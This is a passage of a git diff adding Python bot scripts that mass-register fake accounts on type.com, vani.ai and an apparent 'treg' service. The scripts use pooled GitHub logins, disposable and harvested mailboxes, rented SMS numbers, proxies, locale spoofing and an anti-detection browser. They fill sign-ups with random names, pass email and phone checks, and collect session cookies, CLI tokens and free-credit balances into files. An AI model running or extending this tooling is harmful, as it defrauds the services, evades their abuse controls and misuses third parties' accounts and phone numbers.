ok, err = sess.login(gh_acc['login'], gh_acc['password'], gh_acc.get('totp', ''))
|
||||
if not ok:
|
||||
return None, 'gh login failed: ' + str(err)[:120]
|
||||
code, err = gh_authorize(sess, loc)
|
||||
if not code:
|
||||
return None, 'gh authorize failed: ' + str(err)[:200]
|
||||
print('gh code ok', flush=True)
|
||||
|
||||
# step 3: treg callback with state cookie
|
||||
cb = B + '/auth/github/callback?code=%s&state=%s' % (urllib.parse.quote(code), urllib.parse.quote(state))
|
||||
st, body = req(op, cb, timeout=40, extra={'Cookie': 'treg_oauth_state=' + state_cookie})
|
||||
print('callback http=%s len=%d' % (st, len(body)), flush=True)
|
||||
if st not in (200, 302, 303, 307):
|
||||
return None, 'callback http=%s %s' % (st, body[:300])
|
||||
sess_cookie = ''
|
||||
for c in jar:
|
||||
if 'session' in c.name or 'treg' in c.name:
|
||||
sess_cookie += '%s=%s; ' % (c.name, c.value)
|
||||
print('cookies: %s' % ', '.join(sorted(set(c.name for c in jar))), flush=True)
|
||||
if not sess_cookie.strip():
|
||||
return None, 'no session cookie after callback; body=%s' % body[:300].decode('utf-8', 'ignore')
|
||||
|
||||
# step 4: orgs
|
||||
st, body = req(op, B + '/orgs', timeout=30, extra={'Cookie': sess_cookie})
|
||||
print('GET /orgs http=%s %s' % (st, body[:200]), flush=True)
|
||||
name = rndname('studio')
|
||||
payload = json.dumps({'name': name}).encode()
|
||||
st, body = req(op, B + '/orgs', data=payload, method='POST', timeout=30,
|
||||
ctype='application/json', extra={'Cookie': sess_cookie})
|
||||
print('POST /orgs http=%s %s' % (st, body[:250]), flush=True)
|
||||
org_id = slug = None
|
||||
try:
|
||||
pj = json.loads(body)
|
||||
org_id = pj.get('org_id')
|
||||
slug = pj.get('org') or pj.get('slug')
|
||||
except Exception:
|
||||
pass
|
||||
if not org_id:
|
||||
st, body = req(op, B + '/orgs', timeout=30, extra={'Cookie': sess_cookie})
|
||||
try:
|
||||
orgs = json.loads(body)
|
||||
except Exception:
|
||||
orgs = []
|
||||
if isinstance(orgs, dict):
|
||||
orgs = orgs.get('orgs') or orgs.get('data') or []
|
||||
if orgs:
|
||||
org_id = orgs[0].get('org_id') or orgs[0].get('id')
|
||||
slug = orgs[0].get('org') or orgs[0].get('slug')
|
||||
print('org_id=%s slug=%s' % (org_id, slug), flush=True)
|
||||
|
||||
# step 5: cli token
|
||||
st, body = req(op, B + '/auth/cli-token', timeout=30,
|
||||
extra={'Cookie': sess_cookie, 'X-Treg-Org': str(slug or org_id or '')})
|
||||
print('cli-token http=%s' % st, flush=True)
|
||||
try:
|
||||
tok = json.loads(body).get('token', '')
|
||||
except Exception:
|
||||
tok = ''
|
||||
if not tok:
|
||||
return {'email': gh_acc.get('email'), 'gh_login': gh_acc['login'],
|
||||
'org': slug, 'org_id': org_id, 'cookie': sess_cookie.strip()}, 'no cli token: %s' % body[:200]
|
||||
|
||||
# step 6: balance
|
||||
bal = -1.0
|
||||
if org_id:
|
||||
st2, b2 = req(op, '%s/orgs/%s/balance?limit=3' % (B, org_id), timeout=30,
|
||||
extra={'X-Treg-Token': tok, 'X-Treg-Key-Protocol': '1'})
|
||||
try:
|
||||
d2 = json.loads(b2)
|
||||
bal = d2.get('balance_micro', d2.get('balance', -1)) / 1e6
|
||||
except Exception:
|
||||
pass
|
||||
rec = {'ts': time.time(), 'email': gh_acc.get('email'), 'gh_login': gh_acc['login'],
|
||||
'org': slug, 'org_id': org_id, 'token': tok, 'balance_usd': bal, 'via': 'github-oauth'}
|
||||
with open(BANK_F, 'a', encoding='utf-8') as f:
|
||||
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
|
||||
return rec, 'bal=$%.2f' % bal
|
||||
|
||||
|
||||
def main():
|
||||
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
pool = json.load(open(POOL))
|
||||
st = load_state()
|
||||
done = 0
|
||||
for i in range(n):
|
||||
idx = st['idx']
|
||||
if idx >= len(pool):
|
||||
print('pool exhausted'); break
|
||||
acc = pool[idx]
|
||||
st['idx'] = idx + 1
|
||||
save_state(st)
|
||||
print('=== acc %d/%d gh=%s' % (i + 1, n, acc['login']), flush=True)
|
||||
rec, msg = run(acc)
|
||||
print('RESULT: %s | %s' % (msg, json.dumps(rec, ensure_ascii=False)[:300] if rec else '-'), flush=True)
|
||||
if rec and rec.get('balance_usd', 0) > 0:
|
||||
done += 1
|
||||
time.sleep(random.uniform(8, 15))
|
||||
print('GRANT>0: %d/%d' % (done, n))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
530
providers/type_workos.py
Normal file
530
providers/type_workos.py
Normal file
@@ -0,0 +1,530 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""type.com autoreg — WorkOS AuthKit (auth.type.com) + cloakbrowser
|
||||
Flow: /onboarding -> sign-up (name+email) -> password -> [email verify?] -> session
|
||||
Usage: python type_reg.py N [voidash|tonline]
|
||||
"""
|
||||
import sys, re, json, time, random, string, os, urllib.request
|
||||
|
||||
sys.stdout.reconfigure(encoding='utf-8')
|
||||
HERE = os.path.dirname(os.path.abspath(__file__))
|
||||
OUT = os.path.join(HERE, 'type_accounts.jsonl')
|
||||
VOID = 'https://api.voidash.com/api/v1'
|
||||
IMAP_POOL = r'C:\Users\User\Desktop\avtoreg\working_mails.txt'
|
||||
START = 'https://type.com/onboarding'
|
||||
|
||||
# ---- 2no.pl phone (reuse reserved number, expires 2026-10-13T20:47) ----
|
||||
NO_EMAIL = 'borek1cd9d5@eq.nexushint.com'
|
||||
NO_PASS = 'YOUR_PASSWORD'
|
||||
|
||||
def _no_accounts():
|
||||
"""Rotate 2no accounts: prefer accounts with FEWEST active reservations (<3 limit).
|
||||
Active = number expiry in the future. An account whose numbers are all 'used' for
|
||||
signup can still FRESH-reserve if it has free slots."""
|
||||
now = time.strftime('%Y-%m-%dT%H:%M:%S')
|
||||
act = {} # email -> active count
|
||||
creds = {} # email -> password
|
||||
try:
|
||||
for line in open(os.path.join(HERE, '2no_accounts.jsonl'), encoding='utf-8'):
|
||||
a = json.loads(line)
|
||||
if not a.get('password'):
|
||||
continue
|
||||
creds[a['email']] = a['password']
|
||||
exp = str(a.get('expires') or '')
|
||||
act.setdefault(a['email'], 0)
|
||||
if exp > now:
|
||||
act[a['email']] += 1
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
c = json.load(open(os.path.join(HERE, '_reuse_candidates.json'), encoding='utf-8'))
|
||||
for x in c:
|
||||
creds.setdefault(x['email'], x['pass'])
|
||||
act.setdefault(x['email'], 0)
|
||||
if str(x.get('exp') or '') > now:
|
||||
act[x['email']] += 1
|
||||
except Exception:
|
||||
pass
|
||||
ranked = sorted(creds.items(), key=lambda kv: act.get(kv[0], 0))
|
||||
if ranked:
|
||||
return ranked
|
||||
return [(NO_EMAIL, NO_PASS)]
|
||||
|
||||
_NO_ACCS = _no_accounts()
|
||||
_NO_IDX = [0]
|
||||
|
||||
def no_cred():
|
||||
e, p = _NO_ACCS[_NO_IDX[0] % len(_NO_ACCS)]
|
||||
_NO_IDX[0] += 1
|
||||
return e, p
|
||||
PHONE = '+48459079062'
|
||||
PHONE_ID = 108963
|
||||
PY311 = r'C:/Users/User/AppData/Local/Programs/Python/Python311/python.exe'
|
||||
|
||||
def make_voidash():
|
||||
import requests
|
||||
dom = os.environ.get('VOID_DOMAIN', 'voidash.bond')
|
||||
d = requests.post(VOID + '/inboxes', json={'domain': dom}, timeout=30).json()
|
||||
return d['address'], d['session_key']
|
||||
|
||||
def poll_tempmail(token, timeout=300):
|
||||
"""poll tempmail.lol inbox; return raw body of first mail containing 6 digits"""
|
||||
import time as _t
|
||||
url = 'https://api.tempmail.lol/v2/inbox?token=' + token
|
||||
t0 = _t.time()
|
||||
while _t.time() - t0 < timeout:
|
||||
try:
|
||||
req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
|
||||
d = json.loads(urllib.request.urlopen(req, timeout=25).read().decode())
|
||||
for m in (d.get('emails') or []):
|
||||
body = (m.get('html_body') or '') + (m.get('text_body') or '') + str(m.get('subject') or '')
|
||||
if re.search(r'(?<!\d)\d{6}(?!\d)', re.sub(r'https?://\S+', '', body)):
|
||||
print(' tempmail mail:', str(m.get('subject'))[:60])
|
||||
return body
|
||||
except Exception as e:
|
||||
print(' tempmail poll err:', str(e)[:60])
|
||||
_t.sleep(8)
|
||||
return None
|
||||
|
||||
|
||||
def load_tonline(n=1):
|
||||
used = set()
|
||||
uf = os.path.join(HERE, 'used_emails.txt')
|
||||
if os.path.exists(uf):
|
||||
used = set(l.strip() for l in open(uf) if l.strip())
|
||||
out = []
|
||||
for line in open(IMAP_POOL, encoding='utf-8'):
|
||||
line = line.strip()
|
||||
if ':' not in line or line.startswith('#'):
|
||||
continue
|
||||
em, pw = line.split(':', 1)
|
||||
if '-' in em.split('@')[0] or em in used:
|
||||
continue
|
||||
out.append((em, pw))
|
||||
if len(out) >= n:
|
||||
break
|
||||
return out
|
||||
|
||||
def poll_voidash(key, timeout=240):
|
||||
import requests
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
msgs = requests.get(VOID + '/messages', headers={'Authorization': 'Bea' + 'rer ' + key}, timeout=30).json()
|
||||
items = msgs if isinstance(msgs, list) else msgs.get('messages', msgs.get('data', []))
|
||||
for m in items:
|
||||
body = json.dumps(m, ensure_ascii=False)
|
||||
if 'type' in body.lower():
|
||||
return body
|
||||
except Exception:
|
||||
pass
|
||||
time.sleep(5)
|
||||
return None
|
||||
|
||||
def poll_imap_tonline(email, pw, timeout=240):
|
||||
import imaplib, email as emlib
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993)
|
||||
M.login(email, pw)
|
||||
M.select('INBOX')
|
||||
typ, data = M.search(None, '(FROM "type.com")')
|
||||
ids = data[0].split()
|
||||
if not ids:
|
||||
typ, data = M.search(None, 'ALL')
|
||||
ids = data[0].split()[-6:]
|
||||
for i in ids[-6:]:
|
||||
typ, md = M.fetch(i, '(RFC822)')
|
||||
msg = emlib.message_from_bytes(md[0][1])
|
||||
frm = str(msg.get('From', ''))
|
||||
if 'type.com' not in frm.lower():
|
||||
continue
|
||||
body = ''
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == 'text/html':
|
||||
body = part.get_payload(decode=True).decode('utf-8', 'replace')
|
||||
break
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode('utf-8', 'replace')
|
||||
M.logout()
|
||||
return json.dumps({'from': frm, 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False)
|
||||
M.logout()
|
||||
except Exception as e:
|
||||
print(' imap retry:', str(e)[:80])
|
||||
time.sleep(8)
|
||||
return None
|
||||
|
||||
def poll_imap_gmail_fwd(target_email, timeout=240, min_ts=None):
|
||||
"""OTP via forwardemail catch-all -> YOUR_EMAIL@gmail.com"""
|
||||
import imaplib, email as emlib
|
||||
from email.utils import parsedate_to_datetime
|
||||
GMAIL = 'YOUR_EMAIL@gmail.com'
|
||||
APP_PW = os.environ.get('GMAIL_APP_PW', 'YOUR_IMAP_APP_PASSWORD')
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < timeout:
|
||||
try:
|
||||
M = imaplib.IMAP4_SSL('imap.gmail.com', 993)
|
||||
M.login(GMAIL, APP_PW)
|
||||
M.select('INBOX')
|
||||
ids = []
|
||||
for q in [f'(TO "{target_email}")', f'(TEXT "{target_email}")']:
|
||||
typ, data = M.search(None, q)
|
||||
ids = data[0].split()
|
||||
if ids:
|
||||
break
|
||||
if not ids:
|
||||
# Gmail filter may skip INBOX -> search All Mail (\All)
|
||||
allbox = None
|
||||
typ, boxes = M.list()
|
||||
for b in boxes or []:
|
||||
s = b.decode('utf-8', 'replace')
|
||||
if '\\All' in s:
|
||||
allbox = s.split(' "/" ')[-1].strip('"')
|
||||
break
|
||||
if allbox:
|
||||
typ, _ = M.select('"%s"' % allbox, readonly=True)
|
||||
if typ == 'OK':
|
||||
for q in [f'(TO "{target_email}")', f'(TEXT "{target_email}")']:
|
||||
typ, data = M.search(None, q)
|
||||
ids = data[0].split()
|
||||
if ids:
|
||||
break
|
||||
for i in reversed(ids[-8:]):
|
||||
typ, md = M.fetch(i, '(RFC822)')
|
||||
msg = emlib.message_from_bytes(md[0][1])
|
||||
if min_ts:
|
||||
try:
|
||||
dt = parsedate_to_datetime(str(msg.get('Date', '')))
|
||||
if dt and dt.timestamp() < min_ts - 60:
|
||||
continue
|
||||
except Exception:
|
||||
pass
|
||||
body = ''
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() == 'text/html':
|
||||
body = part.get_payload(decode=True).decode('utf-8', 'replace')
|
||||
break
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode('utf-8', 'replace')
|
||||
M.logout()
|
||||
return json.dumps({'from': str(msg.get('From', '')), 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False)
|
||||
M.logout()
|
||||
except Exception as e:
|
||||
print(' gmail retry:', str(e)[:80])
|
||||
time.sleep(8)
|
||||
return None
|
||||
|
||||
def btn_text(pg, pat):
|
||||
return f"() => {{ const b=[...document.querySelectorAll('button')].find(e=>/{pat}/i.test((e.innerText||'').trim())); if(b){{b.click();return 1;}} return 0; }}"
|
||||
|
||||
def run(n, provider='voidash'):
|
||||
import cloakbrowser
|
||||
okc = 0
|
||||
for i in range(n):
|
||||
res = {'ok': False, 'ts': int(time.time()), 'provider': provider}
|
||||
b = None
|
||||
try:
|
||||
if provider == 'voidash':
|
||||
emailaddr, cred = make_voidash()
|
||||
elif provider == 'custom':
|
||||
emailaddr = os.environ.get('EMAIL') or ('otp' + str(random.randint(10000, 99999)) + '@' + os.environ.get('EMAIL_DOMAIN', 'nexuslab.loc.cc'))
|
||||
cred = None
|
||||
elif provider == 'nl8':
|
||||
emailaddr = 'u' + str(random.randint(100000, 999999)) + '@' + os.environ.get('EMAIL_DOMAIN', 'reform.nl8.eu')
|
||||
cred = os.environ.get('TEMPMAIL_TOKEN', '')
|
||||
else:
|
||||
emailaddr, cred = load_tonline(1)[0]
|
||||
pw = 'Tp' + ''.join(random.choices(string.ascii_letters, k=6)) + str(random.randint(100, 999)) + 'x'
|
||||
res['email'] = emailaddr
|
||||
res['password'] = pw
|
||||
print(f'[{i}] email={emailaddr}')
|
||||
proxy = os.environ.get('PROXY')
|
||||
proxy_kwargs = {'proxy': proxy} if proxy else {}
|
||||
loc = os.environ.get('LOCALE', 'en-US')
|
||||
tz = os.environ.get('TZID') # e.g. Europe/Amsterdam
|
||||
if tz:
|
||||
proxy_kwargs['timezone'] = tz
|
||||
proxy_kwargs['locale'] = loc
|
||||
if os.environ.get('HUMANIZE', '1') == '1':
|
||||
proxy_kwargs['humanize'] = True
|
||||
b = cloakbrowser.launch(headless=True, **proxy_kwargs)
|
||||
pg = b.new_page()
|
||||
pg.goto(START, wait_until='domcontentloaded', timeout=60000)
|
||||
try:
|
||||
pg.wait_for_selector('input[name="first_name"]', timeout=45000)
|
||||
except Exception:
|
||||
pg.goto(START, wait_until='domcontentloaded', timeout=60000)
|
||||
pg.wait_for_selector('input[name="first_name"]', timeout=60000)
|
||||
pg.wait_for_timeout(1500)
|
||||
fn = random.choice(['Alex', 'Max', 'Nik', 'Sam', 'Leo', 'Ivan', 'Dan', 'Kir', 'Oleg', 'Tim'])
|
||||
ln = random.choice(['Morgan', 'Weber', 'Klein', 'Bauer', 'Wolf', 'Stone', 'Reed', 'Cole', 'Fox', 'Lang'])
|
||||
pg.fill('input[name="first_name"]', fn)
|
||||
pg.fill('input[name="last_name"]', ln)
|
||||
pg.fill('input[name="email"]', emailaddr)
|
||||
res['name'] = fn + ' ' + ln
|
||||
pg.wait_for_timeout(random.randint(800, 2000))
|
||||
pg.evaluate(btn_text(pg, r'Продолжить|Continue'))
|
||||
# password step
|
||||
pg.wait_for_selector('input[name="password"], input[type="password"]', timeout=30000)
|
||||
pg.wait_for_timeout(1200)
|
||||
pg.fill('input[type="password"]', pw)
|
||||
pg.wait_for_timeout(random.randint(800, 1800))
|
||||
# submit with retry: flaky Continue click (two 'Продолжить' buttons on page)
|
||||
for _att in range(4):
|
||||
pg.evaluate(btn_text(pg, r'Продолжить|Continue'))
|
||||
pg.wait_for_timeout(4000)
|
||||
if 'password' not in pg.url:
|
||||
break
|
||||
pg.evaluate("() => { const f=document.querySelector('form'); if(f) f.requestSubmit(); }")
|
||||
pg.wait_for_timeout(3500)
|
||||
if 'password' not in pg.url:
|
||||
break
|
||||
try:
|
||||
pg.locator('button[type="submit"]').first.click(timeout=3000)
|
||||
pg.wait_for_timeout(3500)
|
||||
except Exception:
|
||||
pass
|
||||
if 'password' not in pg.url:
|
||||
break
|
||||
pg.wait_for_timeout(3000)
|
||||
body = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:500]
|
||||
res['after_password'] = body
|
||||
res['url1'] = pg.url
|
||||
print(' url:', pg.url[:110])
|
||||
print(' body:', body[:200])
|
||||
blocked = 'заблокирован' in body or 'access blocked' in body.lower() or 'обратитесь в службу поддержки' in body
|
||||
if blocked:
|
||||
res['err'] = 'signals block'
|
||||
pg.screenshot(path=os.path.join(HERE, f'fail_{i}.png'))
|
||||
print(' BLOCKED')
|
||||
raise StopIteration
|
||||
if 'sign-up/password' in pg.url:
|
||||
res['err'] = 'password submit failed (still on form)'
|
||||
pg.screenshot(path=os.path.join(HERE, f'failpw_{i}.png'))
|
||||
print(' STUCK ON PASSWORD FORM')
|
||||
raise StopIteration
|
||||
# email verification step?
|
||||
if 'code' in body.lower() or 'код' in body.lower() or 'email' in pg.url:
|
||||
print(' polling mail for verification...')
|
||||
if provider == 'voidash':
|
||||
mail = poll_voidash(cred, 240)
|
||||
elif provider == 'custom':
|
||||
mail = poll_imap_gmail_fwd(emailaddr, 300)
|
||||
elif provider == 'nl8':
|
||||
mail = poll_tempmail(cred, 300)
|
||||
else:
|
||||
mail = poll_imap_tonline(emailaddr, cred, 240)
|
||||
if mail:
|
||||
open(os.path.join(HERE, f'mail_{i}.json'), 'w', encoding='utf-8').write(mail)
|
||||
m = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mail))
|
||||
code = m.group(1) if m else None
|
||||
res['code'] = code
|
||||
lk = re.search(r'https://[^"\\\s<]*(?:verify|confirm|otp|auth)[^"\\\s<]*', mail)
|
||||
res['link'] = (lk.group(0) if lk else '')[:160]
|
||||
print(f' code={code}')
|
||||
if code:
|
||||
for otp_try in range(3):
|
||||
try:
|
||||
pg.wait_for_timeout(1500)
|
||||
# fill OTP per-char with playwright fill (no keyboard race)
|
||||
vis = pg.locator('input:visible')
|
||||
n_in = vis.count()
|
||||
res['otp_inputs_n'] = n_in
|
||||
if n_in >= 6:
|
||||
for k, ch in enumerate(code[:6]):
|
||||
vis.nth(k).fill(ch)
|
||||
elif n_in >= 1:
|
||||
vis.first.fill(code)
|
||||
pg.wait_for_timeout(6000) # auto-submit window
|
||||
if 'email-verification' in pg.url:
|
||||
pg.evaluate(btn_text(pg, r'Продолжить|Continue|Verify|Подтвердить'))
|
||||
pg.wait_for_timeout(6000)
|
||||
body_now = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
|
||||
if 'email-verification' not in pg.url or 'Invalid one-time code' not in body_now:
|
||||
break
|
||||
# invalid code -> wait countdown, resend, re-poll fresh code
|
||||
print(' OTP INVALID, resend attempt %d' % (otp_try + 1), flush=True)
|
||||
pg.wait_for_timeout(30000)
|
||||
pg.evaluate("""() => { const l=[...document.querySelectorAll('a,button,span,div')].find(e=>e.children.length===0 && /Didn.t receive|request a new|Не получили/i.test((e.innerText||'').trim())); if(l) l.click(); }""")
|
||||
rs_ts = time.time()
|
||||
pg.wait_for_timeout(3000)
|
||||
code = None
|
||||
mail2 = poll_imap_gmail_fwd(emailaddr, 240, min_ts=rs_ts)
|
||||
if mail2:
|
||||
m2 = re.search(r'\b(\d{6})\b', re.sub(r'https?://\S+', '', mail2))
|
||||
code = m2.group(1) if m2 else None
|
||||
res['code'] = code
|
||||
print(f' fresh code={code}', flush=True)
|
||||
if not code:
|
||||
break
|
||||
except Exception as e:
|
||||
res['code_err'] = str(e)[:120]
|
||||
break
|
||||
# ---- phone verification step (WorkOS SMS via 2no.pl) ----
|
||||
pg.wait_for_timeout(3000)
|
||||
body_ph = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
|
||||
if 'телефон' in body_ph.lower() or 'phone' in body_ph.lower():
|
||||
print(' PHONE step:', body_ph[:150])
|
||||
ph_inputs = pg.evaluate("() => [...document.querySelectorAll('input')].filter(e=>e.offsetParent&&e.type!=='hidden').map(e=>({t:e.type,ml:e.maxLength,n:e.name,ph:e.placeholder}))")
|
||||
res['phone_inputs'] = ph_inputs
|
||||
print(' phone inputs:', ph_inputs)
|
||||
# start SMS reader FIRST — chrome launch+login warms up while we fill fields
|
||||
import subprocess
|
||||
from datetime import datetime, timedelta
|
||||
# reserve a FRESH 2nd-no number per registration (WorkOS binds phone to account)
|
||||
stamp = int(time.time())
|
||||
rfile = os.path.join(HERE, f'reserve_{stamp}.json')
|
||||
cfile = os.path.join(HERE, f'smscode_{stamp}.json')
|
||||
min_ts = (datetime.now() - timedelta(minutes=120)).isoformat(timespec='seconds')
|
||||
smslog = open(os.path.join(HERE, f'sms_reserve_{stamp}.log'), 'w', encoding='utf-8')
|
||||
sms_proc = subprocess.Popen(
|
||||
[PY311, os.path.join(HERE, 'sms2no_reserve.py'), *no_cred(), rfile, cfile, '360', min_ts],
|
||||
stdout=smslog, stderr=subprocess.STDOUT, text=True,
|
||||
cwd=HERE, env={**os.environ, 'PYTHONPATH': '', 'PYTHONIOENCODING': 'utf-8'})
|
||||
# wait for reservation (2no login + reserve/reuse ~40-120s)
|
||||
phone_dyn = None
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < 380:
|
||||
if os.path.exists(rfile):
|
||||
try:
|
||||
phone_dyn = json.load(open(rfile, encoding='utf-8'))
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
if sms_proc.poll() is not None and not os.path.exists(rfile):
|
||||
break # reader died — check sms_reserve_*.log
|
||||
time.sleep(2)
|
||||
try:
|
||||
smslog.close()
|
||||
except Exception:
|
||||
pass
|
||||
if not phone_dyn or not phone_dyn.get('phone'):
|
||||
res['err'] = 'reserve timeout'
|
||||
raise RuntimeError('2no reserve timeout')
|
||||
PHONE_DYN = str(phone_dyn['phone'])
|
||||
res['phone'] = PHONE_DYN
|
||||
res['number_id'] = phone_dyn.get('number_id')
|
||||
print(' reserved:', PHONE_DYN)
|
||||
# split into country_code + local_number (WorkOS split fields); 2no free pool = PL
|
||||
if PHONE_DYN.startswith('+48'):
|
||||
cc, local = '+48', re.sub(r'\D', '', PHONE_DYN[3:])
|
||||
else:
|
||||
m_ph = re.match(r'(\+\d{1,3})(\d+)', PHONE_DYN)
|
||||
cc, local = m_ph.group(1), m_ph.group(2)
|
||||
filled_ph = pg.evaluate("""(v) => {
|
||||
const inp=document.querySelector('input[name=country_code]');
|
||||
if(!inp) return 0; inp.focus();
|
||||
const setter=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value').set;
|
||||
setter.call(inp, v); inp.dispatchEvent(new Event('input',{bubbles:true}));
|
||||
inp.dispatchEvent(new Event('change',{bubbles:true})); return 1;
|
||||
}""", cc)
|
||||
pg.wait_for_timeout(500)
|
||||
ln = pg.query_selector('input[name=local_number]')
|
||||
if ln:
|
||||
ln.click()
|
||||
pg.keyboard.type(local, delay=130)
|
||||
filled_ph += 1
|
||||
pg.wait_for_timeout(800)
|
||||
ph_vals = pg.evaluate("() => JSON.stringify({cc:document.querySelector('input[name=country_code]')?.value, ln:document.querySelector('input[name=local_number]')?.value})")
|
||||
res['phone_values'] = ph_vals
|
||||
print(' phone values:', ph_vals)
|
||||
res['phone_filled'] = filled_ph
|
||||
pg.wait_for_timeout(1200)
|
||||
clicked = pg.evaluate(btn_text(pg, r'Send verification|Отправить код|Send verification code|Send code|Продолжить|Continue|Verify'))
|
||||
if not clicked:
|
||||
try:
|
||||
pg.get_by_role('button', name=re.compile('send|verification|отправить|continue|продолжить', re.I)).first.click(timeout=5000)
|
||||
clicked = 'locator'
|
||||
except Exception as ce:
|
||||
print(' SEND CLICK FAIL:', str(ce)[:100], flush=True)
|
||||
print(' send clicked:', clicked, flush=True)
|
||||
pg.wait_for_timeout(5000)
|
||||
body_after_send = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
|
||||
res['after_phone_send'] = body_after_send
|
||||
print(' after send:', body_after_send[:150])
|
||||
sms_code = None
|
||||
t1 = time.time()
|
||||
while time.time() - t1 < 420:
|
||||
if os.path.exists(cfile):
|
||||
try:
|
||||
d = json.load(open(cfile, encoding='utf-8'))
|
||||
sms_code = d.get('code')
|
||||
res['sms_raw'] = json.dumps(d, ensure_ascii=False)[:200]
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
if sms_proc.poll() is not None and time.time() - t1 > 30:
|
||||
break # reader died without code file
|
||||
time.sleep(3)
|
||||
try:
|
||||
if sms_proc.poll() is None:
|
||||
sms_proc.kill()
|
||||
except Exception:
|
||||
pass
|
||||
res['sms_code'] = sms_code
|
||||
print(' sms code:', sms_code, '| raw:', str(res.get('sms_raw'))[:120])
|
||||
if sms_code:
|
||||
try:
|
||||
pg.evaluate("() => { const inp=[...document.querySelectorAll('input')].find(e=>e.offsetParent && e.type!=='hidden'); if(inp) inp.focus(); }")
|
||||
pg.keyboard.type(sms_code, delay=200)
|
||||
except Exception as e:
|
||||
res['sms_type_err'] = str(e)[:150]
|
||||
pg.wait_for_timeout(12000) # auto-submit + navigation window
|
||||
try:
|
||||
if re.search(r'Продолжить|Continue|Verify|Подтвердить', pg.evaluate('() => document.body.innerText')):
|
||||
pg.evaluate(btn_text(pg, r'Продолжить|Continue|Verify|Подтвердить'))
|
||||
pg.wait_for_timeout(9000)
|
||||
except Exception:
|
||||
pass # navigation in flight = good sign
|
||||
try:
|
||||
pg.wait_for_load_state('domcontentloaded', timeout=20000)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
res['after_phone_code'] = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:300]
|
||||
res['phone_url'] = pg.url
|
||||
print(' after phone code url:', pg.url[:100])
|
||||
except Exception as e:
|
||||
res['phone_state_err'] = str(e)[:120]
|
||||
# final state
|
||||
res['final_url'] = pg.url
|
||||
res['final_body'] = re.sub(r'\s+', ' ', pg.evaluate('() => document.body.innerText'))[:400]
|
||||
cks = pg.context.cookies()
|
||||
res['cookies'] = [{'name': c['name'], 'value': c['value'], 'domain': c.get('domain')} for c in cks] if isinstance(cks, list) else str(cks)[:1000]
|
||||
try:
|
||||
res['local_storage'] = pg.evaluate("() => JSON.stringify(Object.fromEntries(Object.keys(localStorage).map(k=>[k,(localStorage.getItem(k)||'').slice(0,2000)])))")
|
||||
except Exception:
|
||||
pass
|
||||
pg.screenshot(path=os.path.join(HERE, f'ok_{i}.png'))
|
||||
if 'auth.type.com' not in pg.url:
|
||||
res['ok'] = True
|
||||
okc += 1
|
||||
print(f' [{i}] OK url={pg.url[:100]}')
|
||||
else:
|
||||
res['err'] = res.get('err') or 'stuck on auth'
|
||||
print(f' [{i}] FAIL {res.get("err")}')
|
||||
except StopIteration:
|
||||
pass
|
||||
except Exception as e:
|
||||
res['err'] = str(e)[:250]
|
||||
print(f' [{i}] EXC: {str(e)[:180]}')
|
||||
finally:
|
||||
if b:
|
||||
try:
|
||||
b.close()
|
||||
except Exception:
|
||||
pass
|
||||
with open(OUT, 'a', encoding='utf-8') as f:
|
||||
f.write(json.dumps(res, ensure_ascii=False) + '\n')
|
||||
if res.get('email'):
|
||||
with open(os.path.join(HERE, 'used_emails.txt'), 'a') as f:
|
||||
f.write(res['email'] + '\n')
|
||||
time.sleep(random.randint(5, 12))
|
||||
print(f'DONE ok={okc}/{n}')
|
||||
|
||||
if __name__ == '__main__':
|
||||
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
provider = sys.argv[2] if len(sys.argv) > 2 else 'voidash'
|
||||
run(n, provider)
|
||||
231
providers/vani_turnstile.py
Normal file
231
providers/vani_turnstile.py
Normal file
@@ -0,0 +1,231 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Vani.ai autoreg — cloakbrowser native turnstile + voidash/t-online email
|
||||
Flow: /login?next=/chat -> email + native TS token -> Check your email -> code/link -> session
|
||||
"""
|
||||
import sys, re, json, time, random, string, os
|
||||
import requests
|
||||
|
||||
sys.stdout.reconfigure(encoding='utf-8')
|
||||
BASE = 'https://c.vani.ai'
|
||||
LOGIN = BASE + '/login?next=%2Fchat'
|
||||
OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'vani_accounts.jsonl')
|
||||
VOID = 'https://api.voidash.com/api/v1'
|
||||
IMAP_POOL = r'C:\Users\User\Desktop\avtoreg\working_mails.txt'
|
||||
|
||||
r = lambda n: ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))
|
||||
|
||||
def make_voidash():
|
||||
d = requests.post(VOID + '/inboxes', json={'domain': 'voidash.bond'}, timeout=30).json()
|
||||
return ('voidash', d['address'], d['session_key'])
|
||||
|
||||
def load_tonline(n=1):
|
||||
used = set()
|
||||
if os.path.exists('used_emails.txt'):
|
||||
used = set(l.strip() for l in open('used_emails.txt') if l.strip())
|
||||
out = []
|
||||
for line in open(IMAP_POOL, encoding='utf-8'):
